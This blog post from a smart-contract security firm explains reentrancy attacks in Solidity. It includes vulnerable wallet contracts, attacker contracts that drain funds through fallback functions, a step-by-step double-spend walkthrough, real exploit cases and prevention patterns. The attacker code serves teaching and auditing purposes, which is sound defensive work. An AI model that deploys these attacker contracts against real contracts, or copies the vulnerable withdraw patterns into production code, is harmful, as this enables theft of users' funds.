• Hacken
  • Blog
  • Discover
  • Reentrancy Attack: Risks, Impact, And Prevention In Smart Contracts

Reentrancy Attack: Risks, Impact, And Prevention In Smart Contracts

By Saylık Seher

Share via:

Reentrancy attacks, prevalent not only in Solidity but also in other programming languages, have posed a significant threat to smart contract security for years. The issue came into the spotlight following a high-profile hack of the DAO in 2016, resulting in substantial financial losses. Now, more than seven years later, it’s crucial for us to analyze the evolution of these attacks and their impact on the ecosystem.

In the first half of 2023 alone, we witnessed 24 major attacks, with reentrancy vulnerabilities implicated in four of these incidents. This data highlights the ongoing relevance and potential risks associated with reentrancy and other vulnerabilities in the current landscape.

What Is Reentrancy Attack? 

A reentrancy attack is a type of vulnerability exploit where an attacker leverages an unsynchronized state during an external contract call. This allows for repeated execution of actions intended to occur only once, potentially resulting in unauthorized state alterations and actions, such as excessive fund withdrawals.

In simpler terms, the attacker can repeatedly carry out actions that are supposed to be executed only once. The absence of proper synchronization creates a loophole for the attacker, allowing them to make changes to the contract’s state that should not be permitted.

A common example is the repeated withdrawal of funds – a severe exploit that can often lead to substantial financial losses.

 contract VulnerableWallet {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        require(msg.value >= 1 ether, "Deposits must be no less than 1 Ether");
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        // Check user's balance
        require(balances[msg.sender] >= 1 ether, "Insufficient funds.  Cannot withdraw" );
        uint256 bal = balances[msg.sender];

        // Sends user's native tokens 
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to withdraw sender's balance");

        // Update user's balance after sending the tokens.
        balances[msg.sender] = 0;
    }

Here, the key point of this vulnerability is the fallback function. Solidity smart contracts can have a fallback function, and its implementation gets executed whenever the contract receives coins.

When the withdraw() function is called, it sends coins to the investor through msg.sender.call and then resets their balance to zero. However, since the execution of the send transaction waits for the hacker’s fallback function to complete, the hacker’s balance remains unchanged until the fallback function finishes. 

As a result, the withdraw function can be reentered with the same state as if it were initially called, creating a loop that causes the function to execute actions repeatedly which were meant to be executed only once.

Take the necessary steps to protect your project with our smart contract auditing services.

Types Of Reentrancy Attacks

Mono-Function Reentrancy

Mono-function reentrancy occurs when a single function within a smart contract falls prey to repeated recursive invocations before the completion of previous invocations.

Example malicious contract:

interface IVulnerableWallet {
    function withdraw() external ;
    function deposit()external  payable;
 }

contract Hacker{
    IVulnerableWallet vulnerableWallet; 

    constructor(address _wallet){
        vulnerableWallet = InterfaceDao(_wallet);
    }

    function attack() public payable {  
        vulnerableWallet.deposit{value: msg.value}();

        // Withdraws from Dao contract.
        vulnerableWallet.withdraw();
    }

    fallback() external payable{
       if (address(dao).balance >= 1 ether) {
        // Calls the withdraw() again once any amount is received
         vulnerableWallet.withdraw();
       }
    }
}
  1. attack() function makes a call to func withdraw (call1)
  2. Withdraw function executes the line  (bool sent, ) = msg.sender.call{value: bal}("") and causes the fallback function of a malicious contract to be executed without updating the user’s balance.. 
  3. The fallback function makes a call to func withdraw (call2) 
  4. The withdraw function executes the line  (bool sent, ) = msg.sender.call{value: bal}("") and fallback gets executed.
  5. The fallback function makes a call to func withdraw (calll3)
  6. And so on

The malicious code above is a prime example of mono-function reentrancy.

Cross-Function Reentrancy

Cross-function reentrancy involves the recursive invocation of multiple functions within a smart contract. In this type of attack, the attacker exploits the asynchronous nature of smart contracts, persistently calling back into multiple susceptible functions.

In a cross-function reentrancy attack, a vulnerable function within a contract shares the same codebase with another function that benefits the attacker.

The following code snippet provides an illustration of such a vulnerable contract:

contract VulnerableContract {
    mapping (address => uint) private userBalance;

    function transfer(address to, uint amount) external {
    if (userBalance[msg.sender] >= amount) {
        userBalance[to] += amount;
        userBalance[msg.sender] -= amount;
    }
}

    function withdraw() public {
        uint withdrawAmount = userBalance[msg.sender];
        (bool success, ) = msg.sender.call.value(withdrawAmount)(""); // An attack can come in at this point
        require(success);
        userBalance[msg.sender] = 0;
    }

}

Here we see that withdraw function has a reentrancy vulnerability. However, there is also a hidden vulnerability that can be attacked by using the transfer() function.

In this scenario, the attacker’s fallback function recursively calls the transfer() function instead of the withdraw() function. Since the balance is not set to 0 before executing this code, the transfer() function can transfer a balance that has already been spent, resulting in double spending.

Cross-Contract Reentrancy

Cross-contract reentrancy typically occurs when several contracts are reliant on the same state variable, but not all of these contracts update this variable in a secure manner. This form of reentrancy is particularly insidious as it’s typically challenging to identify due to the interconnected nature of the contracts and their shared reliance on a common state variable.

Below is a basic ERC20 token contract called DevToken, which will be used by the subsequent contract: VulnerableWallet.

contract DevToken {

    . . . 
    
    // For onlyOwner modifications: VulnerableWallet is the owner of this    contract
    mapping (address => uint256) public balances;

    function transfer(address _to, uint256 _value)
        external
        returns (bool success)
    {
        require(balances[msg.sender] >= _value);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function mint(address _to, uint256 _value)
        external
        onlyOwner 
        returns (bool success)
    {
        balances[_to] += _value;
        totalSupply += _value;
        return true;
    }

    function burnFrom(address _from)
        external
        onlyOwner 
        returns (bool success)
    {
        uint256 amountToBurn = balances[_from];
        balances[_from] -= amountToBurn;
        totalSupply -= amountToBurn;
        return true;
    }


    . . . 

}

The VulnerableWallet contract receives Eth and mints Dev tokens according to the deposited amount and vice versa; it allows withdrawing deposited Eth by returning the held Dev tokens.

Although the functions employ a reentrancy guard, withdrawAll() lacks a proper check-effect-interactions pattern, and that will be the key reason for this exploit.

Initially, an attacker deposits some Eth and receives Dev tokens. When the attacker’s contract calls the withdrawAll function, it sends Eth to the attacker and triggers the attacker’s receive function before updating the Dev token balance in the DevToken contract (success = devToken.burnFrom(msg.sender)). In the malicious receive function, the contract performs a call to the DevToken contract to transfer Dev tokens to another malicious address before its state is updated, leading to double spending.

contract VulnerableWallet is ReentrancyGuard {
  
    . . . 
    function deposit() external payable { 
        bool success = devToken.mint(msg.sender, msg.value);
        require(success, "Failed to mint token");
    }

    // This reentrancy guard is not going to prevent contract 
    // from the exploit
    function withdrawAll() external nonReentrant { 
        uint256 balance = devToken.balanceOf(msg.sender);
        require(balance > 0, "Insufficient balance");

        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");

        success = devToken.burnFrom(msg.sender);
        require(success, "Failed to burn token");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
    . . . 

}



—---------------------------------------------------------------------------------------------------------------------

contract Attacker1{


    function setMaliciousPeer(address _malicious) external {
        attacker2 = _malicious;
    }
    
    receive() external payable {
        if (address(vulnerableWallet).balance >= 1 ether) {
           devToken.transfer(
attacker2, vulnerableWallet.getUserBalance(address(this))
            );
        }
    }

    function attack() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        vulnerableWallet.deposit{value: 1 ether}();
        vulnerableWallet.withdrawAll();
    }
    
    function withdrawFunds() external {
        vulnerableWallet.withdrawAll();
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

Step-By-Step Analysis Of Cross-Contract Reentrancy Attack

Initial Status

Eth Attacker1DevToken Attacker1Eth Attacker2DevToken Attacker2
Balance1 Eth0 Dev0 Eth0 Dev

After the Attack1 contract calls the attack() function, it executes the following steps:

Step 1: Attacker1.attack() executes vulnerableWallet.deposit{value: 1 ether}(). As a result, it mints 1 token for the msg.sender(Attack1 contract)

Eth Attacker1DevToken Attacker1Eth Attacker2DevToken Attacker2
Balance0 Eth1 Dev0 Eth0 Dev

Step 2: Attacker1.attack() executes vulnerableWallet.withdrawAll(). Hence, it executes sending 1 ether to the msg.sender(Attacker1), and the fallback function of Attacker1 gets triggered.

Eth Attacker1DevToken Attacker1Eth Attacker2DevToken Attacker2
Balance1 Eth1 Dev0 Eth0 Dev

Step 3: Attacker1.attack() receives function of Attacker1. It sends 1 Dev token to Attacker2 before the Wallet contract, updating the state in DevToken by burning it.

Eth Attacker1DevToken Attacker1Eth Attacker2DevToken Attacker2
Balance1 Eth1 Dev0 Eth1 Dev

Step 4: As the last step, 1 Dev token gets burned from Attacker1.

Eth Attacker1DevToken Attacker1Eth Attacker2DevToken Attacker2
Balance1 Eth0 Dev0 Eth1 Dev

Wrapping Up

Eth Attacker1DevToken Attacker1Eth Attacker2DevToken Attacker2
Initial 1 Eth0 Dev0 Eth0 Dev
Step 10 Eth1 Dev0 Eth0 Dev
Step 21 Eth1 Dev0 Eth0 Dev
Step 31 Eth1 Dev0 Eth1 Dev
Step 41 Eth0 Dev0 Eth1 Dev

Since the attacker now has 1 Eth + 1 Dev token after performing the malicious attack with 1 Eth, they can repeatedly execute this attack to mint a significant amount of tokens, potentially leading to the inflation of the token’s price. 

Follow @hackenclub on 𝕏 (Twitter)

Real-World Cases Of Reentrancy Attacks

Rari Capital Reentrancy Exploit  (30 April 2022)

Rari protocol is a decentralized platform that allows lending and borrowing. Protocol’s code was forked from Compound, and their developers accidentally used one of their old commits, which led them to get hacked.

Their borrow function was lacking a proper checks-effects-interactions pattern. Exploiter has seen that and showed a reaction by getting 150,000,000 USDC as a flash loan and depositing it into the fUSDC-127 contract and calling the vulnerable borrow function to borrow some amount of assets.

As we can see, the function first transfers the borrowed amount and then updates the accountBorrows mapping. Since the function does not have any reentrancy guard, the hacker called the borrow function repetitively before it updates the mapping and drained the funds worth $80 million.

function borrow() external {
…
doTransferOut (borrower, borrowAmount);
// doTransferOut: function doTransferOut(borrower, amount) { 
(bool success, )= to.call.value(amount)(""); 
require(success, "doTransferOut failed"); 
}
// !!State updates are made after the transfer
accountBorrows[borrower].principal = vars.accountBorrowsNew; 
accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew;
…
}

The hacker borrowed x amount of assets using a flashloan and ran the doTransferOut function five times in a loop. After paying back the flashloan, they took the remaining 4x amount and disappeared with it.

Transaction: ​​0xab486012.. 

Orion Protocol Reentrancy Exploit (2 February 2023)

Orion Protocol suffered a reentrancy exploit on both Ethereum and BNB Chain, losing nearly $3 million. 

The fundamental issue was found in the PoolFunctionality._doSwapTokens function. This results in an incorrect computation of the asset balance, specifically USDT.

The attack resulted from a reentrancy vulnerability within the swap function of the contract. The doswapThroughOrionPool function permitted user-defined swap paths, creating an opportunity for an attacker to exploit this with malicious tokens and reenter deposits. The situation was the ExchangeWithAtomic contract’s failure to validate incoming tokens and implement reentrancy protection.

Transaction: 0xa6f63fcb.. 

How To Prevent Reentrancy Attacks In Smart Contracts

Dealing With Mono-Function And Cross-Function Reentrancy

When tackling mono-function and cross-function reentrancy, implementing a mutex lock within the contract can serve as an effective method. This lock acts as a shield, preventing the constant invocation of functions within the same contract, thereby obstructing reentrancy attempts.

One widely-accepted approach to implement this locking mechanism is to inherit the ReentrancyGuard from the OpenZeppelin library within the contract and use the nonReentrant modifier. The “Checks-Effects-Interactions” pattern can also be employed as a viable countermeasure against these types of reentrancy.

Addressing Cross-Contract Reentrancy

Regardless of the type of reentrancy attack, following the “Checks-Effects-Interactions” pattern in smart contract development is a best practice that enhances the contract’s robustness and provides a significant layer of protection against all forms of reentrancy attacks. By doing so, one ensures the correct handling of states and their updates, thus eliminating any room for potential malicious manipulation.

The problem becomes more complex when dealing with cross-contract reentrancy. This type of reentrancy can be effectively mitigated only by strictly following the “Checks-Effects-Interactions” pattern. Cross-contract interactions can involve unknown or unpredictable external contract behaviors, necessitating that all state checks and updates be concluded before any external interactions occur.

In Conclusion

Reentrancy vulnerabilities pose a considerable risk in software and blockchain development. Protective measures like mutex locks, pull-over push payments, or reentrancy guards in smart contracts are essential for mitigating these threats.

Furthermore, regular and comprehensive audits are essential at every stage of the blockchain development process, specifically for smart contracts. These audits not only strengthen the security of the contracts but also foster trust among users and stakeholders. I strongly believe that a deep understanding and prioritization of safety are pivotal to the sustainable evolution of blockchain technology.

subscribe image
promotion image
IMPORTANT

Subscribe to our newsletter

Enter your email address to subscribe to Hacken Reseach and receive notifications of new posts by email.

Read next:

More related
  • Blog image
    DISCOVER
    Telegram Crypto Trading Bots: Convenience vs. Security Risks Hacken
  • Blog image
  • Blog image
    DISCOVER
    Fintoch Rug Pull Explained Hacker H.
  • Blog image
  • Blog image
  • Blog image
  • Blog image
  • Blog image
  • Blog image
  • Blog image
    DISCOVER
    51% Attack: The Concept, Risks & Prevention HackenBarwikowski B.

Get our latest updates and expert insights on Web3 security